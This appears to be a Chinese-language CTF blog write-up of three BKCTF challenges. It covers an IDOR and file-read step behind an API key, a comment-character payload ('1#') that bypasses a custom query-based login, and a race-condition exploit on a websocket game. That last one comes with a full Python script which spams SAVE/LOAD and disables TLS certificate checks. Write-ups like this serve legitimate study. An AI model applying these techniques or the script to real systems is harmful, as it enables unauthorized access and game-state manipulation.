BKCTF - 一隅

一隅

把学到的东西，都记在这一隅。

代码审计 · Java 安全 · CTF · 漏洞分类

752 字

4 分钟

BKCTF

2026-02-23

CTF

1. My First Blog#

进入环境展示了几个 blog，有个问题是只有 1，2，4，没有 3

直接修改 id，成功展示了博客界面，查看文档没有收获

抓包查看文件，包中提示隐藏的文件需要用 apikey，同时/attachement?file=明显的文件读取

携带 apikey 直接读取 flag 文件

2. Tiny SQL#

分析附件中的源码，可以知道出题人自己定义了一种上 sql 查询的方式，格式为 S：user #为注释符

需要在不触发服务器内部错误，返回结果为三个字段时才能成功登录

简单尝试一下发现不能输入‘“等一些特殊字符，可以输入：#

开始时尝试 admin:#,希望能在满足结构的情况下注释掉后面的语句以绕过，发现不行，仔细分析，result 需要满足返回的字段等于 3，也就是需要返回 S:user 这样完整的一个用户信息

查看后序源码，发现在查看文章时用了另一种查询方式，只需通过 S：id 就能直接返回信息，那有没有一种更可能在登录和查看文章时使用了同一种查询接口，在 login 时构造 S：id 就能直接返回信息，满足 result=3 的判断

payload:1#,后端构造查询语句：S：1#，返回用户信息，实现绕过

3. Be a Legend#

进入环境，一个简单的回合制游戏，我们需要打败 dragon，直接打肯定不行

查看源码，发现代码中存在几处 asyncio.sleep(0.3),一看就是条件竞争漏洞

分析源码，代码中存在一个 game_states 的列表，用来保存存档时的状态，每次回档从这个列表中恢复

fight_loop 中开了一个子线程，关键点每次玩家攻击龙后都会先 sleep(0.3),然后龙才会攻击玩家，我们可以利用这个间隙，每次玩家攻击后就存档然后回档，此时龙的状态就不是满的了，重复操作

直接 ai 脚本：

1
import websocket
2
import threading
3
import time
4
import ssl
5

6
# 你的目标地址
7
ws_url = "wss://be-a-legend-a09522316fbd28be.instancer.batmans.kitchen//ws"
8

9

10
def on_message(ws, message):
11
    # 打印服务器返回，方便观察 HP 变化
12
    print(f"[Server]: {message}")
13
    if "bkctf{" in message:
14
        print("\n" + "=" * 30)
15
        print("!!! FLAG FOUND !!!")
16
        print("=" * 30 + "\n")
17

18

19
def on_error(ws, error):
20
    print(f"### Error: {error} ###")
21

22

23
def on_close(ws, close_status_code, close_msg):
24
    print("### Connection Closed ###")
25

26

27
def attack_payload(ws):
28
    print("[*] Connection opened. Initializing...")
29
    # 给服务器一点响应时间
30
    time.sleep(0.5)
31

32
    # 1. 准备环境
33
    ws.send("RESET")
34
    time.sleep(0.5)
35
    ws.send("SAVE")
36
    time.sleep(0.5)
37

38
    # 2. 发起战斗
39
    ws.send("FIGHT")
40
    print("[*] Fighting! Spamming LOAD now...")
41

42
    # 3. 核心竞态攻击
43
    # 这里的频率可以根据网络延迟调整，0.05s 到 0.1s 通常比较理想
44
    try:
45
        while True:
46
            ws.send("LOAD")
47
            time.sleep(0.05)
48
    except Exception as e:
49
        print(f"Attack thread stopped: {e}")
50

51

52
def on_open(ws):
53
    # 只有当连接真正建立时，才开启攻击线程
54
    thread = threading.Thread(target=attack_payload, args=(ws,))
55
    thread.daemon = True
56
    thread.start()
57

58

59
if __name__ == "__main__":
60
    # 这里的 sslopt 是为了跳过某些复杂的证书校验问题，确保稳定连接
61
    ws = websocket.WebSocketApp(
62
        ws_url,
63
        on_open=on_open,
64
        on_message=on_message,
65
        on_error=on_error,
66
        on_close=on_close
67
    )
68

69
    ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})